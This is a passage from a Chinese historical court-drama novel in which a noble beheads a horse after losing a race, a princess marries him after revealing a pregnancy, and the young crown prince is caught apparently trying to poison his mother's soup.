明绰无声地叹出了一口气,然后想起了什么,转身环视了一圈:“云屏呢?”
围着看比马的时候,除了陛下,其余人都是下了马,挤在马道边上看。如今胜负已出,人群陆陆续续地散了,各自去牵自己的马。冯濂之也环视一圈找了找,然后抬手一指,明绰抬起头,只见云屏公主不知何时已上了马,鲜红的披风飘在身后,正追着贺儿冲而去。
明绰立刻做了个手势,替皇后看马的侍从立刻把马牵来,明绰翻身上马,二话不说也追了出去。
贺儿冲输了马,显然是心绪不佳,泄愤似的,将好好一匹马抽得血肉模糊。那马哀鸣着,撒开蹄子没命似的狂奔。云屏在后面一边追一边喊,他也只当没听见,直到已经跑到御林苑的边缘地带,站着的都是守卫的羽林军,贺儿冲才突然一勒缰绳,停了下来。
明绰此时已经赶上了云屏,也跟着下马,疾走数步,一把拽住了想上前的小公主。
“姐姐!”云屏着急地回头看她,不明白明绰为什么要拦她。但是明绰还没来得及说什么,便听到贺儿冲嗓门很大地冲着一个在马上的羽林军守卫喊叫着什么。两个人都抬起头去看,只见贺儿冲脸面涨红,手心朝上,似是在问那羽林军讨要什么。那羽林军也是个西海人,并不敢抵抗,稍一犹豫,还是把手里的长刀给了他。
下一刻,就在一排羽林军的注视下,贺儿冲双手持刀,快步上前,一声暴喝,便朝着那马而去。羽林军的长刀足有一人高,刀宽背厚,本就是用来阵前斩马腿的,被贺儿冲这样虎虎生风地舞起来,干脆利落地就砍下了马的头。可怜那马,一声嘶叫也无就倒了下来,马血疯狂喷涌的同时,四脚还在抽动。
所有人都被吓了一跳,马儿们更是受惊乱蹿,递上那长刀的羽林军一个不防,从马上被掀了下来,狼狈地摔了一跤。贺儿冲满头满脸都是血,凶神恶煞地走回来,把那长刀又扔回给了他。
“贺儿冲……”云屏叫了他一声,带着哭腔,不知道是吓着了还是怎么样。但明绰感觉她并不是被斩首吓得——明绰反而被她的没被吓着而吓着了。
贺儿冲听见动静,终于回过头来看了一眼,他好像直到此时才意识到皇后和公主都在,脸上似是闪过了一丝异样,但马上又摆出了一副毫不在乎的神情,转身就走。云屏抬脚追了上去,明绰本来拉着她的臂弯,竟没拽得住,让她一甩手就挣开了。明绰站在原地,到底也没再去追。
乌兰徵继续把儿子扛在肩上,上了马场中心的凉亭。凉亭中坐着的权贵们纷纷站起来行礼,唯独贺儿库莫乞坐着,听声音辨认了乌兰徵来的方向,朝他行了个礼。
乌兰徵出声让诸位都不用多礼,一边把皇长子从肩头上放下来。所有人都看着,直到皇长子在陛下身边坐稳了,才纷纷重新落座。步察巴合看着这一幕,老脸上便没忍住露出几分得意。贺儿薄斜了他一眼,也不掩饰他脸上的不屑。
当年齐木格在时,他们俩都跟在齐木格身后,倒是和谐共处。齐木格死了以后,他们反而谁也不服谁。西海权贵中,军权最大的是乙满,但他一直跟在乌兰徵身边征战,不在长安。这些年里,步察巴合借着皇贵妃的手伸到了皇长子身上,贺儿薄又与太后勾结,长安倒成了他们俩明争暗斗的舞台。
除了对付洛阳、对付萧皇后的时候两人还能保持一致,其余时候甚至连好好坐下吃一顿饭都难。尤其是皇贵妃一死,两人就算是挑明了有仇了。
凉亭上看不见比马的情形,贺儿薄自信孙儿马术精湛,必能夺魁,上赶着问可汗赏了什么。得知赢的竟然是拓莫家那个小子,马上脸色就难看了。步察巴合也不客气,当即冷嘲热讽,又替拓莫也哲求封,让他来教皇长子骑马。
乌兰徵把他们俩的这点儿心眼都看在眼里,也不说什么,只低头问儿子:“你想要拓莫也哲教你骑马么?”
纳尔朗听了这话,很明显脸上有点儿不高兴,父皇答应过,要亲自教他的,所以他只是不说话。乌兰徵便笑了一声,朝步察巴合道:“额赤哥瞧瞧,纳尔朗不愿意。”
步察巴合还要说话,但是贺儿库莫乞适时地打断了他:“拓莫也哲骁勇,陛下不如让他进羽林军,随侍陛下左右,护卫陛下安全——教皇长子骑马么,自然是要大燕最好的勇士,谁能有陛下骑术之精湛,爱子之心切呢?”
乌兰徵笑了笑,贺儿库莫乞的话还是中听一些,但他想安排拓莫也哲,乌兰徵也不置可否,只是给自己倒了一杯冰过的葡萄酒。
有人突然从凉亭下面跑了上来,乌兰徵认出了是为皇后牵马的侍从,便在他行礼之前就做了个手势,让他直接上来说话。那侍从便快步走到了陛下身边,附到耳边说了两句话。
乌兰徵脸上突然现出了一丝讶异之色,侧脸看着那侍从,眼中似是在问“当真?”,那侍从便深深低头,表示千真万确。两人的交谈近乎无声,除了乌兰晔坐得近,听见了“贺儿冲杀马”几个字,其余的人什么都没听见。但有眼睛的人都已经察觉到乌兰徵神色变了。
可惜贺儿库莫乞看不见,他还停留在方才乌兰徵笑的那一声,觉得陛下心情不错,于是从袖中摸出了一根精致的玉笄,双手奉上。
“陛下,臣还有一事。云屏公主的及笄礼就在眼前了……”他顿了顿,全然没有察觉到四周气氛的异样,“臣替弟弟为公主献上玉笄,还望陛下转交。”
太安静了,没人敢接他的话茬,连贺儿薄都只是面露难色,惊疑不定。贺儿库莫乞终于察觉到了什么,无措地侧着耳朵,想听是不是发生了什么事情。乌兰徵看着他空荡荡的眼窝,脸上的神色复杂起来。良久,终究是没自己说什么,还是低头对儿子道:“这是送给你小姑姑的。”
乌兰晔看了父皇一眼,随即站了起来,恭恭敬敬地朝贺儿库莫乞行了一礼,然后朗声道:“多谢额赤哥的好意,但汉人礼节,额赤哥恐怕不大明白。汉家女子及笄用的玉笄需得夫君所赠,不能收旁人的。我小姑姑虽是乌兰的公主,也有一半汉人血脉,她尚未婚配,不好收这样的礼。额赤哥的心意,纳尔朗替小姑姑谢过了!”
贺儿库莫乞脸色微微一变,听见步察巴合毫不掩饰地大笑了一声。贺儿薄又唤了一声“可汗”,似是还想说什么,但是贺儿库莫乞马上拉住了祖父,手中的玉笄不知何时已经重新收回了袖中。然后他笑了笑,也十分得体地回应乌兰晔:“殿下说的是,是我不懂礼数,险些闹出笑话……唉!不提了!”
乌兰徵原本只是不想太伤了贺儿库莫乞的颜面,才让孩子出面,就是说得不好听些,贺儿氏也不至于跟一个孩子计较。没想到儿子小小年纪,说话有礼有节,不由大为赞赏,把他搂在怀里,笑道:“还是纳尔朗想得周全。”
乌兰晔被父亲抱在怀里,新奇地抬起头。从他有记忆以来,他就一直被人称为“殿下”,但这还是头一回,他听到有人唤他“殿下”这么高兴。他做了很重要的事,他参与了某些大人才能做的决策,他解救了他的小姑姑。
乌兰晔一直都很恐惧贺儿薄,因为他的脸在战争中被烧伤了一半,看着就很吓人;也因为乌兰晔知道,是他下手害死了泰赤哈氏——伊玛戈与他结交,但也不喜欢他。后来他的孙子贺儿库莫乞回来了,乌兰晔就更害怕他空洞洞的两个眼眶。但是现在看起来,他们原来根本就不可怕,他们都要匍匐在某些东西面前,他还不知道这个东西是什么,但他知道,他的父亲拥有它。一种从未有过的满足充在他胸间,像是要把他整个人都鼓起来,高高地飘到天上去。
这是乌兰晔第一次意识到,他将是所有人的主人。
第105章
没了马,贺儿冲也没有跑太远。明绰虽然没有追上去,但两人始终在她的视野中,她听不见贺儿冲和乌兰辉说了什么,只能看到他又是踢砂石,又是挥手的发脾气,连晔儿都比他更像个大人。乌兰辉一直耐心地跟在他身边,等他发作完了,又上前去拉他的手。贺儿冲很不耐烦地挣开,险些把她推到地上,随后又马上朝皇后这里瞥了一眼,让明绰怀疑,如果不是因为她在这里看着,贺儿冲真的会把辉儿推到地上。乌兰辉竟然也不生气,还是上前好言劝慰,说了一会儿,贺儿冲又张开手臂,把她搂进了怀里。
明绰不得不扬起声音叫了一声:“辉儿!”
乌兰辉转过脸来看了看她,又同贺儿冲说了几句,这才转身走了回来。她原本身上干干净净,让贺儿冲这么一搂,身上也沾了不少马血。明绰不由分说地抓住了她的手臂,让她上马。
“你皇兄已经都知道了。”明绰冷着一张脸,也翻身上马,“以后不要再见他了!”
皇兄知道了什么,自是不必再说。今日本就是为了相看贺儿冲,他却这样输不起,还大发脾气,乌兰辉自知替他辩护也没用,听了这话竟也没辩驳,只乖乖地一控缰绳,跟在了明绰身后。两人骑得都不快,明绰也始终没有话说。往回走了一段,还是乌兰辉没有忍住,突然小声道:“这桩婚事,不是姐姐提出来的吗?”
明绰策马往前,只当没听见。
乌兰辉一夹马肚,走到了她身边,又道:“姐姐不想让我母后痛快,我愿意嫁,不是遂了姐姐的意么!”
明绰猛地转过脸看着她。她如今是真的长大了,十年前明绰就觉得她定会长成一个美人,如今当真出落得这般动人,眼中含泪,神情却倔强,在马上挺胸直背,昂首看着她的时候,却让明绰觉得心里一痛,恨不得她还是当年那个能被抱在怀里的小孩子。
“我和你母后之间的事情,”明绰从牙缝里挤出来一句,“和你没关系。”
“怎么没有关系!”乌兰辉扬起了声音,“母后用纳尔朗对付你,你便用我来对付她,不是很公平吗!”
“你!”明绰没想到她什么都清楚,一时也有些语塞。她们已经跑回来了一大段路,看不见贺儿冲在哪儿,最近的也在百步开外,明绰干脆勒住了马头,停下来看定了乌兰辉。
“我是恨你母后。”明绰干脆把话说得明明白白,“她害死了我最亲的人,夺走了我的孩子,我恨不得她永堕地狱,受烈焰焚身之苦——”
“那就……”
可是明绰没让她把话说完:“但我也是看着你长大的!”
连她自己都没有想到,只这一句话,她就红了眼睛。第一次见到辉儿的时候,她才四岁,她还以为这是乌兰徵的女儿。那时她磕磕绊绊地学说汉话,分不清“阿嫂”和“姐姐”,就这样混着叫了这么多年。当时乌兰徵都还没有从西海回来,她不是作为皇兄的妻子来到了乌兰辉的生命里,明绰就只是她的“姐姐”。
可是段知妘负她,明绰连着不懂事的乌兰辉也一起冷落。这么多年不见,明绰还以为,她狠得下这个心。
她的眼睛一红,乌兰辉便也要哭了。她的性子一向和软,并不像她母亲,偏偏这个时候又露出了几乎一模一样的倔强,别过了脸,不肯让明绰看见她落了眼泪,只留给她一个牙关紧咬的侧脸。
明绰深吸一口气,平复了一下心绪:“你看不出贺儿冲是个什么样的人吗?”
乌兰辉带着哭腔顶撞她:“你又不了解他!”
“我足够了解。”
乌兰辉又扭回头来:“可这一切还不是因为皇兄不肯用他!论骁勇,论家世,他样样拔尖!可是皇兄忌惮贺儿氏,这样辜负他,他怎么能开心啊!”
明绰险些让她气个仰倒,竟然在那一瞬间感同身受了段知妘的无奈:“就刚才,还当着我的面呢,他就敢跟你动手!你说你皇兄为什么不肯用他!”
“他不是……”乌兰辉发了急,“他就是一时没收住,他不是故意的!”
“他到底给你灌了什么迷魂汤啊!”
显然,这句话段知妘也说过。乌兰辉眼中几乎一瞬间就烧起了两团火,明绰居然从她脸上看到了一个遥远的影子,和她当年为了萧盈站在谢拂霜面前一模一样。
“我就是喜欢他。”乌兰辉说得斩钉截铁,“母后喜欢什么男人就有什么男人,她何曾在意过!凭什么我不可以!”
“你母后是大燕的太后!那些男人都不敢——”
乌兰辉把下巴昂得更高:“我也是大燕的公主!”
“可是贺儿冲没把你这个公主放在眼里!”
“他有!”乌兰辉喊得几乎声嘶力竭,这回连掩饰都来不及,眼泪已经断线珠子似的从她脸上滚落下来,“从小到大,母后心里永远都有更重要的事情,为了温大人,为了国师,为了她自己的权势,再后来又殚精竭虑地和皇贵妃争纳尔朗……当年她用得上贺儿氏,才要我跟贺儿冲多亲近——是她自己!这么多年,陪我的一直是贺儿冲,你凭什么说他对我不好!你又不在!你什么都不知道!”
明绰深深吸了一口气,又叹出来。她怎么都没有想到,有一天她会替段知妘说这句话。
“你才是你母亲最在意的人。”明绰的声音很轻,“她为了你,甘心把纳尔朗还了回来,甚至朝我磕头认错……”
可是乌兰辉不为所动地冷笑了一声:“那是她斗不过你,没办法了!”
明绰一时无话可说。乌兰辉对母亲会有这样深的怨恨,她既没想到,却也并不觉得意外。照理说她应该高兴的,连段知妘亲生的女儿都这样对待她,难道不是报应吗?可她却只觉得齿冷。
她的孩子也会这样怨她吗?也会这样狠狠地伤害她吗?
“此事我也做不了主。”明绰硬下心肠,勒马要走,“是你皇兄说了算,你还是别想了……”
“我已经是他的女人了!”乌兰辉决绝地在她背后叫了一声。
然而明绰也只是被逗笑了一般,根本没当回事。乌兰辉见她要走,又喊:“我已经有了他的孩子!”
明绰终于一勒马头,震惊地回头看着她:“你说什么?”
乌兰辉努力昂着下巴,脸却不可抑制地涨红了。明绰狠狠地咬了咬牙:“你若是敢拿这种事情胡说……”
“我没有……”乌兰辉的声音低下去,终于露出了她这个年纪该有的无措。明绰忽觉头重脚轻,眼前突然闪过她方才策马狂奔追着贺儿冲去的样子。她心里涌起一股滔天的惊怒,面上却反而更冷静了,低声问她:“你母后知道了吗?”
乌兰辉的眼泪落得更凶:“我不敢说。”
明绰深吸了一口气,听见她带着哭腔,又说:“母后的性子,是宁可让我用堕胎方也不会让我嫁给贺儿冲的……”
一张苍白的脸孔突然从明绰遥远的记忆里掠过,她几乎已经快忘了额雅是什么模样
了,但她的血怎么也流不尽似的,连着明绰的衣裙也一起浸湿的温热却仿佛还在昨日。那一年她多大?好像也只是比辉儿现在大了一岁而已。
“不行。”明绰的声音很轻,然后她又问,“贺儿冲知道了吗?”
“不能说,他额珈肯定会去找皇兄的!——姐姐!”乌兰辉突然从马上下来,快步走到她身边,抱住了她踩在马镫上的一条腿,“皇兄一定会杀了他!”
明绰低头看着她,什么都没说。若是在大雍,公主坏了名节,确实只有下嫁一条路,但在乌兰人眼中,名节并没有那么重要。乌兰徵只会觉得贺儿冲以下犯上,要杀他几乎是必然的。
所以乌兰辉没有别人可以求了,皇后用她来对付母亲,威胁要把她嫁给贺儿冲,简直是天赐的良机。所以她哭着,又叫了一遍:“姐姐,我求求你……”
“你别叫我。”明绰深吸了几口气才稳住了心神,好一会儿,才低头看定了乌兰辉,突然道,“我送你去洛阳。”
乌兰辉怔怔地看着她,脸上一片未干的泪光。
明绰话说得斩钉截铁:“不就是一个孩子吗?你想要他,生就是了!堂堂大燕朝廷,养不起你一个孩子吗!有你皇兄,有我,你害怕日后找不到更好的人!你就非得嫁他?非得搭上你一辈子?”
“他是孩子的阿耶啊!”
“你是大燕的公主,这个孩子就是乌兰氏的血脉。”明绰说得一字一顿,怕她听不明白,“阿耶是谁,不重要。”
乌兰辉哭得几乎站不住:“可我就愿意嫁他!”
“他今日泄愤能斩马,来日就会伤你!”明绰被她气得头昏,不明白她怎么会想不通这个道理,“你说他怨恨陛下不用他才这般乖张,那你有没有想过,他也会把这份不甘迁怒于你啊?”
“我与他成了亲,皇兄不就会用他了吗!”
“所以他才要娶你!”
乌兰辉终于不说话了,她的眼神那样受伤,让明绰无端生出更深的内疚。事情到这一步,其实真的与她无关了,并不是因为她提出了这桩婚事,才将辉儿推进了火坑。在更早的时候,辉儿就已经深陷其中了,是段知妘疏于对女儿的照料,是她自作自受——可是为什么,现在承受辉儿这种眼神的变成了明绰呢?
乌兰辉不求了,她退了几步,抬头看着明绰:“皇后若强行送我去洛阳,我宁可一死。”
明绰再次咬牙:“我不是你母亲,你不必在我这里寻死觅活。”
“是啊,你又不是我的母亲。”乌兰辉含着眼泪冷笑了一声,“那你又何必在乎贺儿冲会不会伤害我!跟你有什么关系!”
一片静默,然后明绰自嘲似的,突然“哈”了一声。她是段知妘的女儿。明绰突然想,何必呢?
“你想好了?”明绰最后问了她一遍,“不后悔?”
乌兰辉昂起头:“不后悔。”
明绰点了点头,控着马头就要走。乌兰辉惶然地看着她,赶紧也跑回自己的马边,还想爬上去,但是明绰回过头,冷冷地对她说:“你若是真想要肚子里的孩子,就别骑马了。”
乌兰辉一只脚已经攀上了马镫,闻言不由愣在了那里。
明绰转回头,只道:“我叫人来接你。”
她策马便走,再也没有回头。
贺儿冲当众斩马泄愤的事情也没有瞒住多久,很快就传遍了整个马场。关键的是,那一匹还不是贺儿家自己的马,是皇家马苑里养着的,严格来说,是乌兰徵的马。贺儿冲要比试,才让他去选的。自己挑的马,输了还敢斩,往小了说只是脾气不好,往大了说,就是公然冒犯天威。贺儿库莫乞听到以后,惊得连连向乌兰徵请罪,乌兰徵看着今日已经驳了贺儿氏的颜面,倒也没再说什么,只罚贺儿冲去马苑喂马三月。
到这份上,所有人也都有数了,贺儿家想攀附公主,怕是不成了。
然而令所有人都没有想到的是,不过短短三日,宫里又降了旨,还是将云屏公主许配给了贺儿冲。虽是圣旨,但下旨的并非陛下,而是皇后。
正如云屏所料,乌兰徵在知道她已经怀孕的时候,第一反应不是嫁妹妹,而是杀了贺儿冲——他甚至提了剑,准备亲自动手,明绰好说歹说才把他劝了下来。
当天晚上,皇后召见云屏公主,但不在她的长秋殿,反而命公主去了剑器阁。秘密一同前往的还有御医,确认了脉象之后,明绰让云屏自己跟皇兄说。在大半个晚上的哭闹和哀求之后,乌兰徵只丢下一句“随你!”便再不肯见妹妹。到天明,圣旨终于传出。没有经过太后,也没有经过太常寺和尚书台,旨意直接送到了贺儿家,贺儿库莫乞甚至怀疑自己听错了,硬是让传旨的内臣念了两遍。
太后自然是大怒,然而在她气势汹汹地冲去长秋殿之后,不知道皇后说了什么,她又失魂落魄地回去了,就此陷入沉默。
所有的人似乎都明白了什么,保持着一种诡异的心照不宣,唯独乌兰晔惶然不知所以。他理解不了,为什么他明明已经拒绝了贺儿库莫乞,却什么都没有改变。连父皇也不肯跟他解释什么,小姑姑更是把自己关了起来,根本不见他。
兴和十四年五月,在太常寺选定的那个本该行及笄礼的良辰吉日里,云屏公主出降贺儿氏。
第106章
长安的夏天一如既往地来了,甚至比明绰记忆里还更热上几分。所有人都被热蔫儿了似的,懒得动弹。乌兰徵这么些年,除了战场上受伤,几乎没怎么生过病的人,竟也中了暑热。
偏生这个时候,北镇出了桩大案子,消息刚刚报到长安。
十一年前,为防贺阆来犯,乌兰徵亲率大军至北镇布防,将当地五城连成了一条牢不可破的防线,原来的百姓在随后的两三年间都被陆陆续续地迁往南方,只余军户。
这些军户都出身西海十八部,当年尚未完全适应中原地带的耕田生产就被发配去了那种地方,一直保留着以放牧为主的生产方式。原本的耕户被迁走之后,北镇十田七荒。十年下来,当地穷得叮当响,全靠长安的抚恤支撑。
再加上这些年,大燕的朝廷中心已经迁至洛阳,萧皇后治下,西海军户原本在仕宦上享有的特权一削再削。他们地处边陲,被朝廷遗忘,过得清苦,还没了盼头,自然是怨声载道。州镇阿拿荣就是在这个时候因为贪了长安的抚恤银,没分到军户们手中,硬是让人拖到大街上活活打死了。
当年跟贺阆的战事紧张,乌兰徵是派了贺儿库莫乞亲自在那儿坐镇的,这阿拿荣也是贺儿库莫乞的亲信,出身不低。那些闹事儿的军户们一看事情搂不住了,干脆扯了大旗,反了。
乌兰徵即位十四年,虽然有超过一半的时间是在平叛,但那都是反的他父亲,这还是头一个反他的。反的还不是汉人,是他
们当年打天下的西海十八部。也说不上是暑热确实厉害,还是让这个事实给气得,乌兰徵竟然好几天都没下得来床。
他这一病,连云屏公主都回宫来看。明绰刚议完政回来,就看见乌兰辉红着眼睛,站在长秋殿外面哭。乌兰晔站在她身边,皱着眉头,一脸又是着急、又不知道该怎么哄的样子。见到她回来,云屏赶紧擦了擦眼泪,朝她行礼:“姐姐。”
“你起来。”明绰赶紧伸手去扶。云屏嫁过去没多久就显了怀,如今肚子挺大了,明绰每每看着都觉得不舒服。
云屏被她扶起了身,眼睛还是红红的,低着头。
这情形也不用问了,定是又来替贺儿冲求官了。阿拿荣一死,北镇现在话事的人是当年的雍州军统帅段锐,太后的人。贺儿氏自然是想着陛下能起用贺儿冲,让他带兵过去。现在他们家娶了云屏公主,跟段锐也说得上话,这不是现成的军功么?乌兰徵哪会看不出来他们打的什么主意,本来为了这桩婚事就没消气呢,还往枪口上撞,拒了一次还不听,一遍一遍地来。云屏在这儿哭,肯定又是让乌兰徵斥责了。
明绰也不知道该说什么好。明知道皇兄病着,云屏也不说好好宽慰、照料,就知道替夫家争利。可是看着她大着肚子站在日头下哭,又觉得心疼。末了,什么都没说得出来,只道:“你先回去吧。”
云屏声气软软的,还想求:“姐姐……”
“行了,”明绰实在不耐烦了,“你好好养着胎,何必非要来惹你皇兄不高兴?”
乌兰晔站在一边,闻言突然抬头看了母亲一眼,脸色非常难看。云屏也不敢再说什么,含着眼泪闭上了嘴。明绰心里一软,又问了一句:“家中都好么?”
云屏想也没想就答:“都好。”
好什么。好还要你大着肚子一趟一趟来宫里哭。
明绰心里有气,但没说出来,有点儿硬邦邦的,又道:“若是委屈,要回来说,总还有我和你皇兄给你撑腰。”
她没提段知妘。太后知道云屏的身孕以后就干脆移居了西觉寺,连公主出降的典仪都不肯露面。在云屏面前再提太后,恐怕她更伤心了。但云屏也听出来皇后没说出来的意思了,鼻子一酸,又有眼泪落下来,嘴却很硬:“没有什么委屈,他待我很好。”
明绰便无话可说,只好对儿子说:“晔儿,你送小姑姑回去吧。”乌兰晔便沉默着在云屏手肘上扶了一把,带着她走了。
明绰走进殿中,里面已满是熏艾的味道,重得她鼻子一皱。乌兰徵不着上衣,正躺在床上,额上搭了一块湿帕子,闭着眼睛养神,脸板着,倒是跟方才乌兰晔在外面的表情一模一样。
明绰叹了口气,坐到了床边,伸手摸了摸那帕子,感觉已经热得差不多了,就拿下来,重新过一遍凉水。乌兰徵知道是她,动也不动,唯独她把凉好的帕子重新覆到头上来的时候伸出了手,攥住了她的手,但也不动,就这么捂在心口,然后叹气。
明绰问他:“头还疼?”
乌兰徵无声地摇了摇头。
“熏这么重的艾草做什么?”
乌兰徵还是闭着眼,只道:“她身子重,闻不得,让她出去。”
明绰哭笑不得地把手抽出来:“艾草是驱邪的,不是让你驱妹妹的。”
乌兰徵从鼻子里“哼”了一声,把额上的凉帕子拿起来,自己坐起身。床头还有一碗清暑益气的汤药,显然是他不愿喝。明绰端起来要喂他,但是乌兰徵自己拿过去,两口就喝完了。明绰瞧他这样子,便又想笑。
听说北镇军户居然敢叛乱的时候,乌兰徵第一反应是他要亲自去。明绰急得口不择言,劝阻的时候说了句“陛下也不看看如今春秋几何了”,倒是给乌兰徵说出了几分心病。照说三十五岁不能算老,他自觉依然身强体壮,没成想中个暑热,也能这么反反复复,确实是比不得当年了。
明绰把空碗放好,坐得更近了些,挨在乌兰徵身边,轻声道:“北镇那边还有段锐,陛下也不必太忧心。”
乌兰徵顺势躺到了她腿上,又闭上了眼睛:“段锐是汉人,就怕他镇不住,越闹越乱了。”
“那陛下的意思,还是要派贺儿冲去?”
乌兰徵否得毫不犹豫:“他休想!”
明绰便也无奈了:“你说你这是罚贺儿冲呢,还是罚辉儿呀?”
乌兰徵还是摇头:“朕生平最恨受人要挟。”
“是。”明绰拖长了声音调侃他,“不然库莫乞也不能残呐。”
乌兰徵睁开眼看了看她:“你站哪头?”
明绰让他这话说得又笑,哄孩子似的:“你这头。当然是你这头!”
乌兰徵便满意了似的。明绰不轻不重地给他揉了揉太阳穴,主动道:“我今日下了旨,让大司马速至长安。”
当初他们回来,乙满是被留在洛阳的。他这些年挺老实的,库莫乞残废以后,他自知势单力薄,不再跟皇后抗衡什么,明绰也没找出什么由头办他,是以一直维持着微妙的平衡。他留在洛阳,文有方千绪和尚书台牵制,武有石简和半数的羽林军震慑,出不了什么乱子,总比他回了长安,背靠着西海权贵们,又兴风作浪得好。
可是现在北镇出了乱子,正是用他大司马的时候,他若还在洛阳,这一来一去通讯都很耽误事儿。明绰想来想去,还是不能为了争权就误国。
乌兰徵还是闭着眼睛,又抓了她的手,轻声笑了笑:“皇后识大体。”
“呸。”明绰才不稀罕他这种话。乌兰徵的拇指在她虎口间拂了拂,又道:“我也在想,不然把方千绪、萧俭、郗芳和杨崇都召来长安吧。”
这几个都是皇后的人,萧俭是萧典同族,杨崇出身河东杨氏,这二位自不必说。而郗芳则是大雍人,往上数,与当年燕康王之母郗夫人是一家。但二十多年前燕康王叛乱,反了谢氏与萧盈,郗氏也因此获罪没落,绝了在建康的前程。郗芳来洛阳入太学,才学惊人,年少有为,明绰也不介意旧事,仍旧起用。
“召他们来做什么?”
“他们不是你给晔儿准备的东宫官署吗?”
明绰没说话,但也没否认。
乌兰徵温声相劝:“立太子的事情不能再拖了,你担心什么我知道,把他们召来就是了。”
明绰不太高兴:“那咱们不回洛阳了?”
“自然是要回的。”乌兰徵安抚地拍了拍她的手背,“但是辉儿不是还没生么……他更不可能愿意走了。”
还有一些话,他没说出来。乌兰徵看得出来,立太子的事情一直拖,晔儿心里已经怪罪上明绰了。他再怎么早慧,毕竟还是个孩子。他们母子之间的嫌隙一直在,这嫌隙越深,他就越不愿意去洛阳,他不肯去洛阳,立太子的事情就更遥遥无期。
乌兰徵本以为,慢慢相处一阵子就好了,但晔儿比他想的心思更重一些。他要是再不做点什么,这都要打成死结了。
“洛阳宫里不是还没修好么?”乌兰徵又说,“着急回去做什么?吵得睡不着觉。不如在长安留一阵子,等那边都修完了,咱们再回去。”
他说得避重就轻,但明绰已经听出来他没说出来的那层意思了,一时也不说话。她一直没有敢去细想段知妘当时说的那句话什么意思,她到底是怎么跟晔儿说他手上那条疤的?但是晔儿对她始终这样不冷不热的,她也没法去问。一开始是伤心,伤心到现在,就成了心寒。她在立太子一事上这样执拗,多少是带点儿跟儿子赌气的意思。
她不肯说话,乌兰徵就只有叹气:“你跟自己儿子较什么劲呢?”
明绰嗤笑一声,马上回敬了一句:“那你跟自己妹妹较什么劲呢?”
乌兰徵作出一副伤心的样子:“我要断贺儿氏的念想不还是为了你?你好没良心!”
“哎哟!倒是我辜负了陛下。”明绰阴阳怪气的,手上一用劲,寸许的指甲就掐进他太阳穴。乌兰徵吃痛,但还是笑着。
明绰大腿都让他枕麻了,推着他的肩膀要他起来。一时冬青又进来,准备传饭了。这两天让乌兰徵这一病闹得,明绰也跟着口里没味道,冬青说了几个菜色,她挑来挑去都不想吃。冬青只好下去,让厨房想法子弄些清爽不腻的来。
乌兰徵今儿个好了,就忘了前几天自己怎么吃不下饭了,竟然怀疑地打量了她半天,突然凑上来小声问:“这样没胃口,不是害喜吧?”
“想得美。”明绰随手就把他脸拨开,哭笑不得的,“你害喜啊?”
乌兰徵把眼睛一眯,显然是有些荤话想说。但还没开口,乌兰晔突然从外面进来了,明绰就眼看着他一脸诡异地立刻闭上了嘴。
“父皇,”乌兰晔先朝他行了个礼,规规矩矩的,“儿臣来问父皇安。”
说完了,才朝向明绰:“问母后安。”
乌兰徵放松地在床上支起一条腿,手臂搭在膝上,让他起来。乌兰晔手里端着一个托盘,上面还有一个瓷盅,他便以为儿子是来孝敬他了,只道:“我没什么事,不用喝药了。”
乌兰晔把托盘放好,低着头道:“这不是药。”
两人都意外地看着他,乌兰晔还是低着头,手里托着那瓷盅,有点儿别别扭扭的:“儿臣听见冬青说,母后胃口不好,准备了莲子汤,给母后清清火。”
明绰一下子睁大了眼睛,不敢相信似的:“给我的?”
乌兰晔点了点头,双手捧着瓷盅送了过来。明绰整个人都被巨大的惊喜扫翻,一时愣在那里,还是乌兰徵伸手把瓷盅的盖子打开,闻了闻,有意调侃似的:“好香,怎么我没有,就你母后有?”
明绰马上瞪他一眼,很宝贝似的把那瓷盅护了一下:“就没有你的。”
乌兰徵本来还没这意思,见她这样,便有意逗她,顺手把方才清暑益气汤里的小勺拿起来,以迅雷不及掩耳之势舀了一勺莲子汤。明绰又是可
笑又是可气,拖长了声音“哎呀”一声,还没说话,乌兰晔突然叫了一声:“父皇,不要——!”
他看起来很着急,连手都伸了起来,似是想上前来阻止。乌兰徵一愣,没想到他反应会这么激烈。明绰赶紧把乌兰徵手里的勺拿回来,宽慰儿子似的:“别理他。”
她说着就要喝,但是乌兰徵突然伸手拦了她一下,看着儿子问了一句:“纳尔朗,这汤阿耶喝不得吗?”
他的语气有点儿不对劲,明绰有些着恼,嫌他怎么为了这样的小事发作,小声道:“你干什么呀……”
乌兰徵还是抓着她的手,牢牢地看着儿子的眼睛。纳尔朗的脸白得吓人,眼神躲闪着,额上也全是汗。他毕竟还是个孩子,一紧张起来,藏都藏不住。明绰终于也意识到了不对,愣在了那里。
乌兰徵便把瓷盅从明绰手里拿了过来,用勺子搅了搅澄清的汤,垂着眼睛漫不经心道:“这碗就给父皇吧,你去给你母后再拿一碗来。”
纳尔朗煞白的脸变得通红,急道:“不行!”
乌兰徵抬眼看他:“为什么不行?”
儿子又不说了,站在那里,肩膀都缩了起来,一句都说不出来。
乌兰徵的脸色比任何时候都难看,缓缓地把瓷盅伸出去,问儿子:“你放了什么?”
乌兰晔不敢说话,只能紧紧咬住下唇,握紧了双拳控制身体的颤抖。
“说。”
儿子还是不说话,他似是被父亲的怒气吓着了,突然撩起下袍,跪在了地上。
乌兰徵站了起来,手里还是举着那瓷盅。“纳尔朗,”他的声音非常轻,几乎是温柔的,说得很慢,“她是你的亲生母亲。”
纳尔朗的眼泪落了下来,他抬起头看了明绰一眼。明绰怎么也想不到,她会从自己的孩子眼里看到这样深刻的恨意。然后他低下头,下定了某种决心一般:“我没有这样妖媚惑主的母亲!”
整个内室里一片寂静。然后一声巨响,乌兰徵把手里的瓷盅狠狠掼到了地上,汤汁和碎裂的瓷片一起溅起来。明绰在那一瞬间下意识地闭上了眼睛,一行眼泪无意识地从颊边滚了下来。方才巨大的狂喜一下子冻成了冰,冻得她全身都木了,只觉得一阵一阵地发晕。
“来人,”乌兰徵叫了一声,音量不高,但是语气非常吓人,“把这逆子给朕拿下!”
第107章
好几个人一起冲了进来,看见这情形,谁也不敢动。乌兰晔跪在地上,无论如何努力自持,仍是忍不住吓得浑身发颤。乌兰徵突然回身,亲自取了佩剑,明绰如梦初醒似的,猛地扑了上去,紧紧地抱住了他的腰。
“不要!”她没想哭的,可是眼泪已经忍不住,“你不要伤我的孩子!”
所有人都跪了下来,秋桑是与乌兰晔感情最深厚的那个,下意识把他护在了怀里,想用身体去挡乌兰徵的剑,一面哭叫道:“陛下息怒!殿下若是说错了什么,一定不是有意的!”
她不说还好,一说乌兰徵更气:“你自己问他,做的什么好事!”
